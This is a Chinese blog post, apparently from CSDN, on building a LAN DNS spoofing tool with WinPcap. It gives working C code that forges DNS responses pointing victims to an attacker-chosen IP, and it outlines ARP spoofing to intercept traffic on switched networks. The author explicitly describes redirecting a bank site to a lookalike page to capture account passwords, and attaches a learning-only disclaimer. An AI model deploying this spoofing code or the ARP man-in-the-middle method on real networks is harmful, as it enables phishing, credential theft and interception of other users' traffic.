用winpcap实现局域网DNS欺骗

出处http://blog.csdn.net/leotangcw/

    欢迎大家和我交流Email:[email protected]

     学校网络中心的老师叫帮忙做一个DNS欺骗的软件。主要用于在学校网络出现问题时把大家的上网请求都转向到一个通知网页上。关于DNS欺骗网上已经有很多文章了,不过实例还是比较少的,特别是使用我们经常使用的winpcap开发DNS欺骗软件。弄了1周,终于成功了,在这里和大家交流一下,不过这种软件的危险性相当高(因为通过这种软件,局域网的用户基本上没有安全性可言了。比如:我先打开欺骗软件把www.icbc.com.cn的访问全部转移到我的一个服务器172.17.123.123上来,在这个服务器上面放有一个看起来和工商银行界面一摸一样的网站,这非常容易做到,当您输入帐号密码的时候,我就记录下了您的帐号和密码,然后......)基于以上原因,我在此声明:我对我的代码不承担任何责任,所有代码只限于学习和正规使用目的。

    首先让我们来看看什么是DNS:以下是引用中国协议分析网里面对DNS的说明

DNS的全称是Domain Name System当您连上一个网址在URL打上www.hotmail.com的时候可以说就是使用了DNS的服务了。但如果您知道这个www.hotmail.com的IP地址直接输入209.185.243.135也同样可以到达这个网址。其实电脑使用的只是 IP地址而已(最终也是0和1啦)这个www.hotmail.com只是让人们容易记忆而设的。因为我们人类对一些比较有意义的文字记忆(如 www.hotmail.com)比记忆那些毫无头绪的号码(如209.185.243.135)往往容易得多。DNS的作用就是为我们在文字和IP之间担当了翻译而免除了强记号码的痛苦。

接着是我使用的DNS欺骗原理

我们在设置我们的 网络时经常要设置DNS地址,比如现在我们学校使用的就是:202.102.154.3和202.102.128.68这两个IP地址就是DNS解析服务器的地址,当我们输入一个网址如:www.whhit.com的时候,就有一个DNS请求发到设置的DNS服务器上去,然后DNS服务器告诉你你访问的的网站对应的IP是202.102.144.56于是你的浏览器就会到相应的IP上面去取回网页。那么如果我想欺骗你,让你转到一个别的地址上去怎么做呢?我只需要在DNS服务器给你答复之前给你一个假的回答就可以了,比如我告诉你www.whhit.com对应的IP是172.17.30.52.123这样你的机器就会自动转到172.30.52.123上面去。那么不是DNS服务器也要做回答吗?呵呵,这个其实你不用担心,在收到第一个回答以后就浏览器就开始转向了,对于后到的DNS回答会被系统自动丢弃掉。

基于以上原理,我们就可以完成这个工程了。

现在唯一的问题就是如何来伪造一个DNS应答了,由于要用winpcap发包,而winpcap的发包功能是很简陋的,他不能像libnet等开发包一样帮助你构造包,所以所有的包结构都要你来构造。请听下回分解。

现在我们来看看如何构造这个DNS包呢:

      要构造包首先要捕获包,因为包中的一些东西我们在构造的时候是需要用到的。那么如何捕获呢?这要看你的局域网使用的交换机种类,如果是一个HUB,就像我们现在寝室楼层的一样,那我们只要把网卡设置成混杂模式就可以捕获到所有包了,因为HUB只会做包广播。关于在这种情况下捕获,你可以参看我前面的文章一步一步尝试在MFC下开发基于winpcap的数据包捕获和分析软件.(开发总结,建议先看)如果是3层(网络层)交换机的话就麻烦一些因为他是通过IP转发的,数据包只会发送到特定的端口。这样你就需要做ARP+DNS欺骗。下回再说,这回先只讨论前一种情况。

     首先我们来看DNS的包结构,我们知道DNS可以通过TCP也可以通过UDP传输,不过实际使用中99%以上使用UDP所以下面只是对DUP的DNS做阐述。DNS包结构是: 以太网头+IP头+UDP头+DNS部分

从以太网头开始:B代表字节

目的MAC(6B)|源MAC(6B)|0x0800(2B表示上层是IP)

IP头:

协议版本和IP头长度(1B)|服务(1B)|IP包长度(2B,去以太网头的长度)|ID号(2B)|标识(1B)|偏移(1B)|TTL(1B)|0x11(上层协议UDP)|IP校验和(2B)|源IP(4B)|目的IP(4B)

UDP头:

源端口(2B)|目的端口(2B)|UDP包长度(2B,去以太网头和IP头)|UDP校验和(2B)

DNS部分:

ID号(2B很重要)|标识(2B)|问题数目(2B)|回答数目(2B)|权威回答数目(2B)|附加数目(2B)|问题字段(长度不定)|回答字段(长度不定)|权威字段(长度不定)|附加字段(长度不定)

问题和回答,权威,附加都是RR记录格式,格式如下:

名字(2B)|类型(2B)|类(2B)|存活时间(4B)|数据长度(2B)|IP地址(4B)

我们本着越简单越好的做法,构造尽量短的回复,所以回答个数为1,权威和附加都为0

如果是请求包,到问题字段就完了,如果是回答,还有构造回答字段。

下面开始构造伪造包:

    以太网部分:交换源和目的的MAC地址

  IP部分:计算修改包长度为你构造的假包IP部分长度,标识改为0x04(不分段),校验和改为你计算的IP首部校验和,交换源和目的IP

UDP部分:交换源和目的端口号,包长度改为你构造的假包UDP部分长度。校验和可以添0x0000或者自己算(是可选字段,不推荐自己算,首先计算费时间,影响发包速度,其次容易算错,我算了3天,老是错,原来要加一个UDP伪头,参考《TCP/IP祥解》)

DNS部分:问题数0x0001,回答数0x0001,权威0x0000,附加0x0000,问题字段直接拷贝,回答字段如下:名字0xc00c,类和类型都是0x0001,时间添长点,长0x0004,IP:你想转向的IP地址

到这里假的应答就伪造好了。

先简要说说代码,这里只有构造DNS回应部分的代码,我还做了网址匹配,也就是说只有别人输入相应的网址才给转向不过出于一些原因就不放上来了。这里的代码只是对所有DNS都转向的代码,你可以自己加完整别的代码。

     随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

    欢迎大家和我交流Email:[email protected]

抓包和分析都要在子线程中进行,这样程序的效率才比较好。

伪造的包的DNS  ID一定要和请求的包的ID一样才可以工作。

........抓包

int packetlen=exprotocol_header->len+16;//从抓到包的长度得到要伪造包的长度
               int questlen=exprotocol_header->len-54;  //问题长度
                     u_int8_t* packet_content;                //要发的包
                        packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
                        unsigned short IP_len=ntohs(packetlen-14);    //
               unsigned short UDP_len=ntohs(packetlen-34);
                        memcpy(packet_content,expkt_data,exprotocol_header->len);   //拷贝抓的包到发的包里面因为有很多不需要改的地方,其中包括最重要的DNS  ID号
               memcpy(packet_content,expkt_data+6,6);                      //交换MAC地址
               memcpy(packet_content+6,expkt_data,6);
               memcpy(packet_content+16,&IP_len,2);                      //计算的IP数据包长度
               packet_content[18]=0x12;//IP的ID号 随便添
               packet_content[19]=0x34;//IP的ID号 随便添
                        packet_content[20]=0x40;  //不分段
                        packet_content[21]=0x00;   //偏移
                        packet_content[22]=0xf4;   //TTl=244
               packet_content[24]=0x00;//IP效验和先置0以后再算
                        packet_content[25]=0x00;//IIP效验和先置0以后再算
               memcpy(packet_content+26,expkt_data+30,4);//交换IP
               memcpy(packet_content+30,expkt_data+26,4);//交换IP
                        memcpy(packet_content+34,expkt_data+36,2);//交换端口
               memcpy(packet_content+36,expkt_data+34,2);//交换端口
               memcpy(packet_content+38,&UDP_len,2);    //填入计算的UDP数据包长度
                        packet_content[40]=0x00;//UDP效验和添0
                        packet_content[41]=0x00;//UDP效验和添0
                        packet_content[44]=0x81; //无错误标准回复
               packet_content[45]=0x80;  //无错误标准回复
                        packet_content[48]=0x00;  //回答数目1
               packet_content[49]=0x01;  //回答数目1
               packet_content[exprotocol_header->len]=0xc0;   //回答名字
               packet_content[exprotocol_header->len+1]=0x0c;  //回答名字
               packet_content[exprotocol_header->len+2]=0x00;  //类型 A
               packet_content[exprotocol_header->len+3]=0x01;  //类型 A
               packet_content[exprotocol_header->len+4]=0x00;  //类1
               packet_content[exprotocol_header->len+5]=0x01;  //类1
               packet_content[exprotocol_header->len+6]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+7]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+8]=0x0c;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+9]=0xe8;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+10]=0x00;  //数据长度
               packet_content[exprotocol_header->len+11]=0x04;  //数据长度
               m_exdwAddress1=ntohl(m_exdwAddress);              //对输入的转向IP做网络字节转换
               memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //转向的IP
               USHORT m_ipcheck;
                        u_int16_t* checkbufer;
               checkbufer=(u_int16_t*)malloc(20);
               memcpy(checkbufer,packet_content+14,20);    //把IP头拷入一个区域做计算

               m_ipcheck=checksum(checkbufer,20);              //计算IP校验和
               memcpy(packet_content+24,&m_ipcheck,2);        //添入IP校验和
               pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//发包

接下来是深入的讨论如果是在3层交换机上如何做DNS欺骗

三层交换机上只有广播包会发到所有端口,其他包都只会在对应端口之间传送。要让他的DNS查询发到你的机器上来就需要伪装成网关,因为我们是通过网关上网,所以所有外发的包都要过网关。

在这里我们要感谢ARP协议,这是一个数据链路层上的协议,主要作用是用来查询你的局域网上的其他主机的MAC地址,比如我们在ping 的时候就会发出一个ARP查询,比如:我是172.30.52.170,我现在ping 172.30.52.174 -t就会发出一个ARP查询向全网段广播问谁是172.30.52.174啊,请告诉我你的MAC地址,然后我就会得到一个172.30.52.174的回复说xx:xx:xx:xx:xx:xx的MAC对应的是172.30.52.174于是我就可以通过这个MAC和他进行传输了。同时我会把他的MAC和IP的对应关系写入我的机器的缓存(会存在一定时间),ARP请求也会更新缓存,比如上面我ping172.30.52.174他的缓存中也会留下我的IP和MAC对应关系。

而且ARP是后更新的,他和DNS相反,DNS对先到的回答做相应,ARP对后到的消息做缓存更新,于是我们就想出了一个好办法,比如我的MAC是01:02:03:04:05:06首先,我告诉我想欺骗的主机,我是网关,比如我给172.30.52.174的主机发一个ARP查询或应答包说172.30.52.1(网关)对应的MAC是01:02:03:04:05:06,同时告诉网关172.30.52.174的IP对应的MAC是01:02:03:04:05:06于是172.30.52.174把发给网关的包都给了我,同时网关也把给172.30.52.174的包都给了我,我在他们之间做一个包转发,就行了,这样所有的包都通过我了,后面的DNS欺骗就和前面一样了。

由于ARP包构造太简单了,就不详细写了,好了,先写到这里吧,写了一天累了。

你可能感兴趣的:(职场,dns,局域网,欺骗,休闲)